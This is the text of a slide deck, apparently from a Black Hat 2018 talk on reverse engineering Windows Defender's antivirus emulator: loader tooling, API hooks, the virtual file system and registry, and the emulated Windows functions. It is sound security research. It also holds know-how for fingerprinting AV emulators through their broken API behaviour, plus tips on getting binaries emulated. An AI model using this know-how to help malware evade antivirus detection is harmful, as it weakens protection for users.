Windows Offender: Reverse Engineering Windows Defender's Antivirus Emulator

Alexei Bulazzel
@0xAlexxei

Black Hat 2018
About Me

- Security researcher at ForAllSecure
- Firmware RE & cyber policy at River Loop Security
- RPI / RPISEC alumnus
- Second time talking at Black Hat - previously, “AVLeak” at Black Hat 2016

This is my personal research, any views and opinions expressed are my own, not those of any employer.

@0xAlexxei
This Presentation Is...

- A deeply technical look at Windows Defender Antivirus’ binary emulator internals

- As far as I know, the first conference talk about reverse engineering any antivirus software’s binary emulator
This Presentation Is...

- A deeply technical look at Windows Defender Antivirus’ binary emulator internals
- As far as I know, the first conference talk about reverse engineering any antivirus software’s binary emulator

This Presentation Is Not...

- An evaluation of Windows Defender Antivirus’ efficacy as an antivirus product
- Related to Windows Defender ATP, or any technologies under the Windows Defender name
Outline

1. Introduction
   a. Background
   b. Introduction to Emulation
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
5. Conclusion
Why Windows Defender Antivirus

Windows’ built-in antivirus software:

● Now the “Defender” name covers multiple mitigations and security controls built into Windows
● This presentation is about Windows Defender Antivirus, not Windows Defender ATP, Application Guard, Exploit Guard, etc...
Why Windows Defender Antivirus

Windows’ built-in antivirus software:
- Now the “Defender” name covers multiple mitigations and security controls built into Windows
- This presentation is about Windows Defender Antivirus, not Windows Defender ATP, Application Guard, Exploit Guard, etc...

- Huge AV market share - “8% of systems running Windows 7 and Windows 8 are running Windows Defender and more than 50% of Windows 10 devices”*

*windowsreport.com/windows-defender-enterprise-antivirus/
Why Windows Defender Antivirus

Windows’ built-in antivirus software:
- Now the “Defender” name covers multiple mitigations and security controls built into Windows
- This presentation is about Windows Defender Antivirus, not Windows Defender ATP, Application Guard, Exploit Guard, etc...

- Huge AV market share - “8% of systems running Windows 7 and Windows 8 are running Windows Defender and more than 50% of Windows 10 devices”*

- Runs unsandboxed as NT AUTHORITY\SYSTEM
  - Exploit = initial RCE + privilege escalation + AV bypass

- Surprisingly easy for attackers to reach remotely

*windowsreport.com/windows-defender-enterprise-antivirus/
Motivation

- Tavis and co. at P0 dropped some awesome Defender bugs
- I had analyzed AVs before, but never Windows Defender
- I reversed Defender’s JS engine for ~4 months, then got interested in the Windows emulator
- My personal research side project during winter 2017-2018: ~5 months of reversing, another month documenting
Target - mpengine.dll

mpam-fe.exe released monthly:
- **mpengine.dll**
  "Microsoft Malware Protection Engine"
  Also bundles 4 other binaries
- **MPSigStub.exe**
  "Microsoft Malware Protection Signature Update Stub"
- **mpasbase.vdm**
- **mpasdlta.vdm**
- **mpavbase.vdm**
- **mpavdlta.vdm**

**mpengine.dll** provides malware scanning and detection capabilities - other AV features and OS integration are handled in Defender’s other components.
My Prior Research:
Windows Defender’s JavaScript Engine
Reverse Engineering Windows Defender’s JavaScript Engine

Alexei Bulazhel
@0xAlexei

REcon Brussels 2018

Presented at REcon Brussels (Belgium), February 2018

bit.ly/2qio857
JS Engine [bit.ly/2qio857]

JS engine used for analysis of potentially malicious code - reversed from binary
JS Engine [bit.ly/2qio857]

JS engine used for analysis of potentially malicious code - reversed from binary

Custom loader / shell used for dynamic experimentation - thanks Rolf Rolles!
JS Engine [bit.ly/2qio857]

JS engine used for analysis of potentially malicious code - reversed from binary

AV instrumentation callbacks

Custom loader / shell used for dynamic experimentation - thanks Rolf Rolles!
JS Engine bit.ly/2qio857

JS engine used for analysis of potentially malicious code - reversed from binary

Security at the cost of performance

AV instrumentation callbacks

Custom loader / shell used for dynamic experimentation - thanks Rolf Rolles!
Related Work

- Only a handful of prior publications on binary reversing of antivirus software
- Lots of conference talks, whitepapers, and blogs on antivirus evasion, including against emulators
  - AVLeak with fellow RPI researchers Jeremy Blackthorne, Andrew Fasano, Patrick Biernat, and Dr. Bülent Yener - side channel-based black box emulator fingerprinting
- Tavis Ormandy’s Defender bugs from 2017
- As far as I know, there’s never been a publication about reverse engineering the internals of an AV emulator*

*AV industry companies have occasionally presented on the design of their emulators at conferences. Industry patents also often have interesting information about AV internals.
Outline

1. Introduction
   a. Background
   b. Introduction to Emulation
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
5. Conclusion
Why Emulate?

Traditional AV model: scan files and look for known malware signatures (file hashes, sequences of bytes, file traits, etc...)

Why Emulate?

Traditional AV model: scan files and look for known malware signatures (file hashes, sequences of bytes, file traits, etc...)

Problem: signatures are easily evaded with packed code, novel binaries, etc
Why Emulate?

Traditional AV model: scan files and look for known malware signatures (file hashes, sequences of bytes, file traits, etc...)

**Problem:** signatures are easily evaded with packed code, novel binaries, etc

**Solution:** run unknown binaries in a virtual emulated environment - look for runtime malicious behavior or known signatures

- Not a new idea, in use for at least 15 years

**a.k.a.:**
- sandboxing
- heuristic analysis
- dynamic analysis
- detonation
- virtualization
Emulation Overview

- CPU Emulation
- OS (Kernel) Emulation
- Persistent System State

nt!PEB Settings

In-Emulator OS Facilities

AV Instrumentation

Malware Binary

intel

ARM

mpengine.dll

Other Scanning Engines
Emulation Overview

- Load unknown potentially malicious binary
Emulation Overview

- Load unknown potentially malicious binary
- Begin running from entrypoint, and run until termination condition
Emulation Overview

- Load unknown potentially malicious binary
- Begin running from entrypoint, and run until termination condition
  - Time

![Diagram of Emulation Overview]

- CPU Emulation
- OS (Kernel) Emulation
- Persistent System State
- Malware Binary
- AV Instrumentation
- Other Scanning Engines
- mpengine.dll

- nt!PEB
- Settings
- In-Emulator OS Facilities
Emulation Overview

- Load unknown potentially malicious binary
- Begin running from entrypoint, and run until termination condition
  - Time
  - Number of instructions

Malware Binary

CPU Emulation

OS (Kernel) Emulation

Persistent System State

AV Instrumentation

Other Scanning Engines

Intel

ARM

nt!PEB Settings

In-Emulator OS Facilities

mpengine.dll
Emulation Overview

- Load unknown potentially malicious binary
- Begin running from entrypoint, and run until termination condition
  - Time
  - Number of instructions
  - Number of API calls
Emulation Overview

- Load unknown potentially malicious binary
- Begin running from entrypoint, and run until termination condition
  - Time
  - Number of instructions
  - Number of API calls
  - Amount of memory used
Emulation Overview

- Load unknown potentially malicious binary
- Begin running from entrypoint, and run until termination condition
  - Time
  - Number of instructions
  - Number of API calls
  - Amount of memory used
  - etc...

[Image diagram with various components including CPU Emulation, OS (Kernel) Emulation, Persistent System State, and Other Scanning Engines.]
Emulation Overview

- Load unknown potentially malicious binary
- Begin running from entrypoint, and run until termination condition
  - Time
  - Number of instructions
  - Number of API calls
  - Amount of memory used
  - etc...
- Collect heuristic observations about runtime behavior, look for signatures in memory or dropped to disk, etc...
Outline

1. Introduction
2. Tooling & Process
3. Reverse Engineering
4. Vulnerability Research
5. Conclusion
Static Analysis

- ~12 MB DLL
- ~30,000 functions
- IDA Pro
  - Patch analysis with BinDiff
- Microsoft publishes PDBs
Dynamic Analysis & Loader

AV-Specific Challenges:
- Protected Process
  - Cannot debug, even as local admin
- Introspection
- Scanning on demand
- Code reachability may be configuration / heuristics dependent

Example: MPEngine Lockdown
- “Protected Processes” - Windows programs that you cannot debug with a usermode debugger, even if you have all privileges
- Attackers can load a signed vulnerable driver, run an exploit, get execution & deprotect the process - so ... why?

"Repeated vs. single-round games in security"  
Halvar Flake, BSides Zurich Keynote
Dynamic Analysis & Loader

AV-Specific Challenges:

● Protected Process
  ○ Cannot debug, even as local admin
● Introspection
● Scanning on demand
● Code reachability may be configuration / heuristics dependent

Solution:
Custom loaders for AV binaries

Example: MPEngine Lockdown

● “Protected Processes” - Windows programs that you cannot debug with a usermode debugger, even if you have all privileges
● Attackers can load a signed vulnerable driver, run an exploit, get execution & deprotect the process - so ... why?

“Repeated vs. single-round games in security”
Halvar Flake, BSides Zurich Keynote
Tavis Ormandy’s **loadlibrary** [git.io/fbp0X]

- **PE loader for Linux**
  - Shim out implementations for Windows API imports
  - Only implements the bare minimum to get `mpengine.dll` running, not a general purpose Windows emulator or Wine replacement
- **mpclient** tool exposes the main scanning interface
  - I built ~3k LoC of additional tooling on top of mpclient
mpclient  git.io/fbp0X

Linux  mpclient
Binary
mpclient  git.io/fbp0X

Linux  mpclient
Binary

MpEngine.dll
Linux mpclient
Binary

WinAPI Emulation

MpEngine.dll
IAT
Linux mpclient Binary

WinAPI Emulation

MpEngine.dll

IAT

g_syscalls

OutputDebugStringA

WinExec

...
Linux mpclient

Malware Binary

WinAPI Emulation

MpEngine.dll

IAT

Emulator

g_syscalls

OutputDebugStringA

WinExec

...

__rsignal
Linux mpclient
Binary

WinAPI Emulation

MpEngine.dll

IAT

Emulator

g_syscalls

OutputDebugStringA

WinExec

...

_MZ...

Malware Binary

_scanning Engine

Selection

___rsignal
Linux mpclient Binary

WinAPI Emulation

MpEngine.dll

IAT

Emulator

g_syscalls
OutputDebugStringA
WinExec
...

__rsignal

Scanning Engine Selection

Malware Binary

MZ...
Threat Virus: Win32/Virut.BN!dam identified.

Malware Binary

Linux mpclient Binary

WinAPI Emulation

MpEngine.dll

IAT

Emulator

g_syscalls

OutputDebugStringA

WinExec

...

__rsignal

Scanning Engine Selection
Demo

Scanning with mpclient
Dynamic Analysis - Code Coverage

- Getting an overview of what subsystems are being hit is helpful in characterizing a scan or emulation session
  - Breakpoints are too granular
- Emulator has no output other than malware identification
- Lighthouse code coverage plugin for IDA Pro from Markus Gaasedelen of Ret2 Systems / RPISEC

Examples:

- Halvar Flake’s SSTIC 2018 keynote

- Getting coverage traces from MPENGINE.DLL - difficult because of privileged process
Outline

1. Introduction
2. Tooling & Process
3. Reverse Engineering
   a. Startup
   b. CPU Emulation
   c. Instrumentation
   d. Windows Emulation & Environment
4. Vulnerability Research
5. Conclusion
Getting Emulated

- **_rsignal** function provides an entry point into Defender’s scanning - give it a buffer of data and it returns a malware classification.

- Defender uses emulation to analyze executables it does not recognize with other less expensive analyses.

- Emulation results are cached - a given binary will only be emulated once, even if scanned multiple times.
Emulator Initialization

- Allocate memory
- Initialize various objects and subsystems used during emulation
- Load the binary to be analyzed - relocate, resolve imports, etc
- Initialize virtual DLLs in the process memory space
- Heuristic observations about the binary are recorded - section alignment, number of imports, etc

```c
if (!v->imagename[0])
{
    imageName = "C:\\Windows\\iexplore.exe";
    if ( !(v->pehdr.Characteristics & IMAGE_FILE_DLL) )
        imageName = "C:\\myapp.exe";
    StringChCopyA(v->imagename, 0x104u, imageName);
}
```
Outline

1. Introduction
2. Tooling & Process
3. Reverse Engineering
   a. Startup
   b. CPU Emulation
   c. Instrumentation
   d. Windows Emulation & Environment
4. Vulnerability Research
5. Conclusion
CPU Emulation

- Support for many architectures
  - This presentation looks at x86 32-bit

- Technically dynamic translation, not “emulation”
  - Lift to IL, JIT compile to sanitized x86

- Architecture-specific software emulation functions handle unique or difficult to lift instructions

- The subsystem is incredibly complicated, and could be a full talk in its own right
  - Not a primary focus of this research and the subsystem I understand the least about

```
DT_platform_x86_16 = 0n0
DT_platform_x86_32 = 0n1
DT_platform_x86_64 = 0n2
DT_platform_emu_IL = 0n3
DT_platform_NETRPF = 0n4
DT_platform_NETEmu = 0n5
DT_platform_DTlib32 = 0n6
DT_platform_DTlib64 = 0n7
DT_platform_VMProtect = 0n8
DT_platform_ARM = 0n9
DT_platform_count = 0n10
```
**2 IL Lifting**

Individual architecture to IL lifting

Grab the bytes of opcode, determine type, then emit IL accordingly

I've done this same exercise with anti-virus engines on a number of occasions. Generally the steps I use are:

1. Identify the CPU/Windows emulator. This is generally the hardest part. Look at filenames, and also grep the disassembly for large switch statements. Find the switches that have 200 or more cases and examine them individually. At least one of them will be related to decoding the single-byte X86 opcodes.

2. Find the dispatcher for the CALL instruction. Usually it has special processing to determine whether a fixed address is being called. If this approach yields no fruit, look at the strings in the surrounding modules to see anything that is obviously related to some Windows API.

3. Game over. AV engines differ from the real processor and a genuine copy of Windows in many easily-discernible ways. Things to inspect: pass bogus arguments to the APIs and see if they handle erroneous conditions correctly (they never do). See if your emulator models the AF flag. Look up the exception behavior of a complex instruction and see if your emulator implements it properly. Look at the implementations of GetTickCount and GetLastError specifically as these are usually miserably broken.

Example: Single-byte x86 push register opcodes all map to type 0x13
I did not observe this software IL emulator being invoked during my research.

- Hypothesis: used for non-x86 host systems, e.g., Windows on ARM?

```plaintext
eIL_ID_xor8  = 0x107
eIL_ID_xor16 = 0x108
eIL_ID_xor32 = 0x109
```
IL-to-x86 JIT Translation

IL code can be translated to x86 and executed, a basic block at a time.

I observed this IL-to-x86 JIT being exercised during research.

Calls to `esc[ape]` functions are JITted for special handling of unique instructions.

Check out MSFT’s VB2005 paper.

```assembly
mov this, esi ; this
mov byte ptr [eax], 0BAh
push dword ptr [edi+4]; esc ID
call ??get_esc_pfn@DT_context@@QBE_PARAMEDAXXXZ@Z
mov byte ptr [esi+37C8h], 1
mov edx, [eax]
 DT_context::get_esc_pfn(ulong)
```

```assembly
void _thiscall IL_x86_common::lea_r32_i132<0>(
{
_int16 regxor; // ax
char *x86Buf2; // edx
char *x86Buf; // ecx
regxor = reg << 11;
if (imm == 0x80)
{
 x86Buf = &this->m_exe_ptr[this->m_exe_ix];
 *x86Buf = regxor | 0x858D;
 *(x86Buf + 2) = imm;
 this->m_exe_ix += 6;
}
else
{
 x86Buf2 = &this->m_exe_ptr[this->m_exe_ix];
 *x86Buf2 = regxor | 0x458D;
 x86Buf2[2] = imm;
 this->m_exe_ix += 3;
}
```
Architecture-specific esc Handlers

Architecture-specific functions provide handling for unique architectural events and emulation of unique instructions.
Architecture-specific software emulation for x86 CPUID instruction

Code coverage provided by Lighthouse
Outline

1. Introduction
2. Tooling & Process
3. Reverse Engineering
   a. Startup
   b. CPU Emulation
   c. Instrumentation
   d. Windows Emulation & Environment
4. Vulnerability Research
5. Conclusion
Instrumenting `mpengine`

**Problem:** little visibility into engine
- Coverage for the big picture, breakpoints for detailed observation

*Only output is malware detection*

**Threat Virus:** Win32/Virut.BN!dam identified.
Instrumenting \texttt{mpengine}

\textbf{Problem:} little visibility into engine
- Coverage for the big picture, breakpoints for detailed observation

\textbf{Only output is malware detection}

\textbf{Solution:} a malware’s eye view
- \texttt{mpengine.dll} has functions that are invoked when our malware calls certain Windows APIs
- Create a binary to explore the AV from inside - hook and reuse existing functions to share that view with us on the outside

\textbf{Threat Virus:} \texttt{Win32/Virut.BN!dam} identified.
mpclient  git.io/fbp0X

Linux mpclient
Binary

WinAPI Emulation

Emulator

MpEngine.dll

IAT

Threat Virus:
Win32/Virut.BN!dam identified.

Malware Binary

Threat Virus:
Win32/Virut.BN!dam identified.

MZ...

g_syscalls

OutputDebugStringA

WinExec

...
Modified mpclient - ~3k LoC added github.com/0xAlexei

Linux mpclient Binary

WinAPI Emulation

OutputDebugStringA hook
Print to stdout

WinExec hook
Other actions...

MZ...
Malware Binary

MpEngine.dll

IAT

Emulator

g_syscalls

OutputDebugStringA
WinExec
...

__rsignal

Scanning Engine Selection
**OutputDebugStringA Hook**

Hook the native function pointer that gets called when **OutputDebugStringA** is called in-emulator

Use existing functions in Defender to interact with function parameters and virtual memory

Mark - Thanks for the idea!

```c
void __cdecl KERNEL32_DLL_OutputDebugStringA(pe_vars_t *v)
{
    Parameters<1> arg; // [esp+4h] [ebp-Ch]
    Parameters<1>::Parameters<1>(&arg, v);
    v->m_pDTc->m_vticks64 += 32164;
}
```

```c
RVAS rvas523 = {
    .MPVERNO = "MP_5_23",
    //Parameter functions
    .RVA_Parameters1 = 0x3930f5,
    .RVA_Parameters2 = 0x3b3cfd,
    //OutputDebugString
    pOutputDebugStringA = img RVA(pRVAs->RVA_FP_OutputDebugStringA);
    eLog(S_DEBUG_VV, "OutputDebugStringA:\t\t0x%06x @ 0x%x", pRVAs->RVA_FP_OutputDebugStringA, *(pOutputDebugStringA));
    *(uint32_t)KERNEL32_DLL_OutputDebugStringA_hook = (uint32_t)KERNEL32_DLL_OutputDebugStringA;
    eLog(S_DEBUG_VV, "OutputDebugStringA Hooked:\t\t0x%x", *(pOutputDebugStringA));
```
OutputDebugStringA Hook

```c
static void __cdecl KERNEL32_DLL_OutputDebugStringA_hook(void * v)
{
    uint64_t Params[1] = {0};
    const Char * debugString;
    DWORD len = 0;

    elog(S_DEBUG, "OutputDebugStringA");
    GetParams(v, Params, 1);

    debugString = GetString(v, Params[0], &len);
    elog(S_UPDATE, "%s", debugString);
    elog(S_DEBUG, "OutputDebugStringA DONE\n");
    return;
}
```
OutputDebugStringA

Hook

Declaration - void * for pe_vars_t *

```c
static void __cdecl KERNEL32_DLL_OutputDebugStringA_hook(void * v)
{
    uint64_t Params[1] = {0};
    const Char * debugString;
    DWORD len = 0;
    elog(S_DEBUG, "OutputDebugStringA");
    GetParams(v, Params, 1);
    debugString = GetString(v, Params[0], &len);
    elog(S_UPDATE, "%s", debugString);
    elog(S_DEBUG, "OutputDebugStringA DONE\n");
    return;
}
```
OutputDebugStringA Hook

Local variable to hold parameters - same as Parameters<1>

Declaration - void * for pe_vars_t *

static void __cdecl KERNEL32_DLL_OutputDebugStringA_hook(void * v)
{
  uint64_t Params[1] = {0};
  const char * debugString;
  DWORD len = 0;

  elog(S_DEBUG, "OutputDebugStringA");
  GetParams(v, Params, 1);

  debugString = GetString(v, Params[0], &len);
  elog(S_UPDATE, "%s", debugString);
  elog(S_DEBUG, "OutputDebugStringA DONE\n");
  return;
}
OutputDebugStringA

Hook

Local variable to hold parameters - same as Parameters<1>

Pull parameters off of the virtual stack by calling Parameters<1> function inside mpengine.dll

Parameters are just addresses within the emulator’s virtual memory

---

```c
void __cdecl KERNEL32_DLL_OutputDebugStringA(pe_vars_t *v)
{
    Parameters<1> arg; // [esp+4h] [ebp-Ch]
    Parameters<1>::Parameters<1>(&arg, v);
    v->m_pUTC->m_VTick64 += 32164;
}
```

---

```c
static void __cdecl KERNEL32_DLL_OutputDebugStringA_hook(void *v)
{
    uint64_t Params[1] = {0};
    const char * debugString;
    DWORD len = 0;

    elog(S_DEBUG, "OutputDebugStringA");
    GetParams(v, Params, 1);

    debugString = GetString(v, Params[0], &len);
    elog(S_UPDATE, "%s", debugString);
    elog(S_DEBUG, "OutputDebugStringA DONE\n");
    return;
}
```
**OutputDebugStringA**

**Hook**

Local variable to hold parameters - same as Parameters<1>

Pull parameters off of the virtual stack by calling Parameters<1> function inside mpengine.dll

Parameters are just addresses within the emulator’s virtual memory

---

```c
static void __cdecl KERNEL32_DLL_OutputDebugStringA_hook(void * v)
{
    uint64_t Params[1] = {0};
    const char * debugString;
    DWORD len = 0;

    eLog(S_DEBUG, "OutputDebugStringA");
    GetParams(v, Params, 1);

    debugString = GetString(v, Params[0], &len);

    eLog(S_UPDATE, "%s", debugString);
    eLog(S_DEBUG, "OutputDebugStringA DONE\n");
    return;
}
```
**OutputDebugStringA Hook**

Local variable to hold parameters - same as Parameters<1>

Pull parameters off of the virtual stack by calling Parameters<1> function inside mpengine.dll

Parameters are just addresses within the emulator’s virtual memory

GetString calls into mpengine.dll functions which translate an emulator virtual memory address (the parameter) into a real pointer

Now we can just print the string to `stdout`
Demo

Hooking

OutputDebugStringA
Factors That Can Prevent Emulation:

- Simplicity / lack of code entropy
- Linking against unsupported DLLs
- Calling unsupported functions
- Optimizations using complex instructions
- Targeting overly modern Windows builds

Solutions:

- Add in junk code
- Strip down linkage to bare minimums
- Disable all optimizations
- Define your own entry point
- Target old Windows versions

*These are problems for AV emulators in general in my experience. Defender seems more flexible than others, but I did still have to massage compiler settings to get a consistently emulated binary.
Outline

1. Introduction
2. Tooling & Process
3. Reverse Engineering
   a. Startup
   b. CPU Emulation
   c. Instrumentation
   d. Windows Emulation & Environment
4. Vulnerability Research
5. Conclusion
Windows Emulation & Environment

1. Usermode Environment
2. Usermode Code
3. User-Kernel Interaction
4. Kernel Internals
5. AV Instrumentation
Virtual File System Contents

Dump file system contents with a similar trick to the `OutputDebugStringA` hook - just pass `void` pointers to arbitrary data

- 1455 files on the 2/28/18 build
  - Whole FS can be dumped in a second or two
- Mostly fake executables
- A handful of fake config files
- Various text “goat” files
- Lots of empty files
Demo

Dumping The File System
A sacrificial file used to test a computer virus, i.e. a dummy executable that carries a sample of the virus, isolated so it can be studied. Not common among hackers, since the Unix systems most use basically don't get viruses.
C:\Mirc\mirc.ini

[chanfolder]
 n0=#Blabla
 n1=#End

C:\Mirc\script.ini

[script]
 ; blabla

C:\Windows\msdfmap.ini

[connect default]
Access=NoAccess
[sql default]
Sql=" "

[connect CustomerDatabase]
Access=ReadWrite
Connect="DSN=AdvWorks"
[sql CustomerById]
Sql="SELECT * FROM Customers WHERE CustomerID = ?"

[connect AuthorDatabase]
Access=ReadOnly
Connect="DSN=MyLibraryInfo;UID=MyUserID;PWD=MyPassword"
[userlist AuthorDatabase]
Administrator=ReadWrite
[sql AuthorById]
Sql="SELECT * FROM Authors WHERE au_id = ?"
Virtual Registry

Huge virtual registry with thousands of entries

```
RegEntry \software\Policies\Microsoft\Windows\ipsec,
RegEntry \software\Policies\Microsoft\Windows\Safer,
RegEntry \software\Policies\Microsoft\Windows\Safer\CodeIdentifiers,
RegEntry \software\Clients,
RegEntry \software\Clients\Mail,
RegEntry \software\Clients\Mail\microsoft outlook,
RegEntry \software\Clients\contacts,
RegEntry \software\Clients\contacts\address book,
RegValue Address Book,
RegEntry \software\Piriform,
RegEntry \software\Piriform\CCleaner,
RegValue UpdateCheck,
RegEntry \software\Tencent,
RegEntry \software\Tencent\Platform_TYPE_LIST,
RegEntry \software\Tencent\Platform_TYPE_LIST\3,
RegValue TypePath,
RegEntry \software\IMesh,
RegEntry \software\IMesh\Client,
RegEntry \software\IMesh\Client\LocalContent,
RegValue Dir0,
RegValue DownloadDir,
RegEntry \software\Blizzard Entertainment,
RegEntry \software\Blizzard Entertainment\World of Warcraft,
RegValue InstallPath,
RegEntry \Volatile Environment,
```

...
### Processes

Various processes are shown as running on the system.

These are not real running processes, just names returned in order to present a realistic execution environment to malware.

"myapp.exe" is the name of the process under emulation - PID varies in different mpengine builds.

<table>
<thead>
<tr>
<th>PID</th>
<th>Process Name</th>
<th>PID</th>
<th>Process Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>[System Process]</td>
<td>1084</td>
<td>svchost.exe</td>
</tr>
<tr>
<td>4</td>
<td>System</td>
<td>1268</td>
<td>spoolsv.exe</td>
</tr>
<tr>
<td>356</td>
<td>smss.exe</td>
<td>1768</td>
<td>explorer.exe</td>
</tr>
<tr>
<td>608</td>
<td>csrss.exe</td>
<td>1796</td>
<td>iexplore.exe</td>
</tr>
<tr>
<td>624</td>
<td>winlogon.exe</td>
<td>1800</td>
<td>outlook.exe</td>
</tr>
<tr>
<td>676</td>
<td>services.exe</td>
<td>1804</td>
<td>msimn.exe</td>
</tr>
<tr>
<td>680</td>
<td>lsass.exe</td>
<td>1808</td>
<td>firefox.exe</td>
</tr>
<tr>
<td>700</td>
<td>kav.exe</td>
<td>1812</td>
<td>icq.exe</td>
</tr>
<tr>
<td>704</td>
<td>avpcc.exe</td>
<td>1816</td>
<td>yahoomessenger.exe</td>
</tr>
<tr>
<td>708</td>
<td>_avpm.exe</td>
<td>1820</td>
<td>msnmsgr.exe</td>
</tr>
<tr>
<td>712</td>
<td>avp32.exe</td>
<td>1824</td>
<td>far.exe</td>
</tr>
<tr>
<td>716</td>
<td>avp.exe</td>
<td>1828</td>
<td>trillian.exe</td>
</tr>
<tr>
<td>720</td>
<td>antivirus.exe</td>
<td>1832</td>
<td>skype.exe</td>
</tr>
<tr>
<td>724</td>
<td>fsav.exe</td>
<td>1836</td>
<td>googletalk.exe</td>
</tr>
<tr>
<td>728</td>
<td>norton.exe</td>
<td>1840</td>
<td>notepad.exe</td>
</tr>
<tr>
<td>732</td>
<td>msmpeng.exe</td>
<td>1844</td>
<td>wmplayer.exe</td>
</tr>
<tr>
<td>736</td>
<td>msmpsvc.exe</td>
<td>1848</td>
<td>net.exe</td>
</tr>
<tr>
<td>740</td>
<td>mrt.exe</td>
<td>1852</td>
<td>spawned.exe</td>
</tr>
<tr>
<td>744</td>
<td>outpost.exe</td>
<td>3904</td>
<td>myapp.exe</td>
</tr>
<tr>
<td>856</td>
<td>svchost.exe</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Demo

Dumping The Process Listing
Windows Emulation & Environment

1. Usermode Environment
2. Usermode Code
3. User-Kernel Interaction
4. Kernel Internals
5. AV Instrumentation
Windows API Emulation

Two types of Windows API functions:
- Stay in usermode → stay in the emulator
- Resolve to syscalls → trap to native emulation

Implemented just like the real Windows API - DLLs
- Symbols indicate they are called "vdlls"
- Present on disk and in memory in the emulator - like real Windows
- VDLLs are not present in mpengine.dll, must be dynamically loaded from VDMs
Reversing VDLLs
In-Emulator VDLL Emulations

- In-emulator emulations stay within the emulator
- Code is run within the dynamic translation system
- Some emulations stub out to hardcoded returns

Username is "JohnDoe"
Complex functions are stubbed out to return hardcoded values or halt emulation

```c
int __cdecl WinMain(int argc, const char *argv, const char *env)
{
    return 0;
}
```

**mspaint.exe**

**RPCRT4.DLL**

**NTOSKRNL.EXE**
Winsock library is uniquely full of fingerprints - strings with “Mp” and German websites.
Windows Emulation & Environment

1. Usermode Environment
2. Usermode Code
3. User-Kernel Interaction
4. Kernel Internals
5. AV Instrumentation
Native Emulation

- Complex functions that cannot be handled in-emulator must be emulated in native code
- Akin to usermode → kernel, or VM guest → host transitions
- Emulator to native transition implemented with a custom hypercall instruction - `apicall 0x0F 0xFF 0xF0 [4 byte immediate]`
- Stubs that `apicall` to various functions are included in VDLLs

**Emulated VDLL**: `kernel32!CopyFileWWorker`

**Native code**: `mpengine!KERNEL32_DLL_CopyFileWWorker`

```
; Exported entry 72. CopyFileWWorker
public CopyFileWWorker
CopyFileWWorker proc near
    mov    edi, edi
    call   $+5
    add    esp, 4
    apicall kernel32!CopyFileWWorker
    ret
CopyFileWWorker endp
```
This is the table we modify when hooking `OutputDebugStringA`
void __stdcall OutputDebugStringA(LPCSTR lpOutputString)
{
    DWORD Arguments; // [esp+Ch] [ebp-20h]
    CPPEH_RECORD ms_exc; // [esp+14h] [ebp-18h]

    if ( !lpOutputString )
        lpOutputString = &NULL;
    ms_exc.registration.TryLevel = 0;
    Arguments = strlen(lpOutputString) + 1;
    if ( g_OutputDebugStringA_called_count <= 900 || g_SEH_value )
    {
        ++g_OutputDebugStringA_called_count;
    }
    else
    {
        apicall_NtControlChannel(13, 0); // set_pea_disable_seh_limit
        apicall_NtControlChannel(17, "MpDisableSehLimit"); // set attribute
        g_SEH_value = 1;
    }
    RaiseException(0x40010006u, 0, 2u, &Arguments);
    ms_exc.registration.TryLevel = -1;
    apicall_kernel32_OutputDebugStringA(lpOutputString);
}

In-emulator VDLL code
In-emulator VDLL code

Native emulation function

Kernel32!OutputDebugStringA

In-emulator VDLL code
Emulated VDLL Functions

ADVAPI32
RegCreateKeyExW
RegDeleteKeyW
RegDeleteValueW
RegEnumKeyExW
RegEnumValueW
RegOpenKeyExW
RegQueryInfoKeyW
RegQueryValueW
RegSetValueW
USER32
MessageBoxA
KERNEL32
CloseHandle
CopyFileWWorker
CreateDirectoryW
CreateFileMappingA
CreateProcessA
CreateToolhelp32Snapshot
ExitProcess
ExitThread
FlushFileBuffers
GetCommandLineA
GetCurrentProcess
GetCurrentProcessId
GetCurrentThread
GetCurrentThreadId
GetModuleFileNameA
GetModuleHandleA
GetProcAddress
GetThreadContext
GetTickCount
LoadLibraryW
MoveFileWWorker
MpAddToScanQueue
MpCreateMemoryAliasing
MpReportEvent
MpReportEventEx
MpReportEventW
MpSetSelectorBase
OpenProcess
OutputDebugStringA
ReadProcessMemory
RemoveDirectoryW
SetFileAttributesA
SetFileTime
Sleep
TerminateProcess
UnimplementedAPISub
VirtualAlloc
VirtualFree
VirtualProtectEx
VirtualQuery
WinExec
WriteProcessMemory
Emulated *ntdll.dll* Functions

- `MpGetSelectorBase`
- `MpUfsMetadataOp`
- `NtCloseWorker`
- `NtContinue`
- `NtControlChannel`
- `NtCreateEventWorker`
- `NtCreateFileWorker`
- `NtCreateMutantWorker`
- `NtCreateSemaphoreWorker`
- `NtCreateThreadWorker`
- `NtDeleteFileWorker`
- `NtDuplicateObjectWorker`
- `NtGetContextThread`
- `NtOpenEventWorker`
- `NtOpenMutantWorker`
- `NtOpenSemaphoreWorker`
- `NtOpenThreadWorker`
- `NtPulseEventWorker`
- `NtQueryInformationFileWorker`
- `NtQueryInformationThreadWorker`
- `NtReadFileWorker`
- `NtReleaseMutantWorker`
- `NtReleaseSemaphoreWorker`
- `NtResetEventWorker`
- `NtResumeThreadWorker`
- `NtSetContextThread`
- `NtSetEventWorker`
- `NtSetInformationFileWorker`
- `NtSetLdtEntries`
- `NtSuspendThreadWorker`
- `NtTerminateThreadWorker`
- `NtWaitForMultipleObjectsWorker_PreBlock`
- `NtWaitForMultipleObjectsWorker_PostBlock`
- `NtWriteFileWorker`
- `VFS_DeleteFileByHandle`
- `VFS_FileExists`
- `VFS_FindClose`
- `VFS_FindFirstFile`
- `VFS_FindNextFile`
- `VFS_FlushViewOfFile`
- `VFS_GetAttrib`
- `VFS_GetHandle`
- `VFS_GetLength`
- `VFS_MapViewOfFile`
- `VFS_MoveFile`
- `VFS_Open`
- `ObjMgr_ValidateVFSHandle`
- `ThrdMgr_GetCurrentThreadHandle`
- `ThrdMgr_SaveTEB`
- `ThrdMgr_SwitchThreads`
- `VFS_CopyFile`
- `VFS_DeleteFile`
- `VFS_Read`
- `VFS_SetAttrib`
- `VFS_SetCurrentDir`
- `VFS_SetLength`
- `VFS_UnmapViewOfFile`
- `VFS_Write`
Native Emulation Functions

Native emulation functions all take parameter `pe_vars_t *`, ~½mb large struct containing entire emulation session context

```
void __cdecl KERNEL32_DLL_GetModuleFileNamA(pe_vars_t *v)
{
  DT_context *v1; // ecx
  unsigned int v2; // eax
  src_attribute_t attr; // [esp+10h] [ebp-48h]
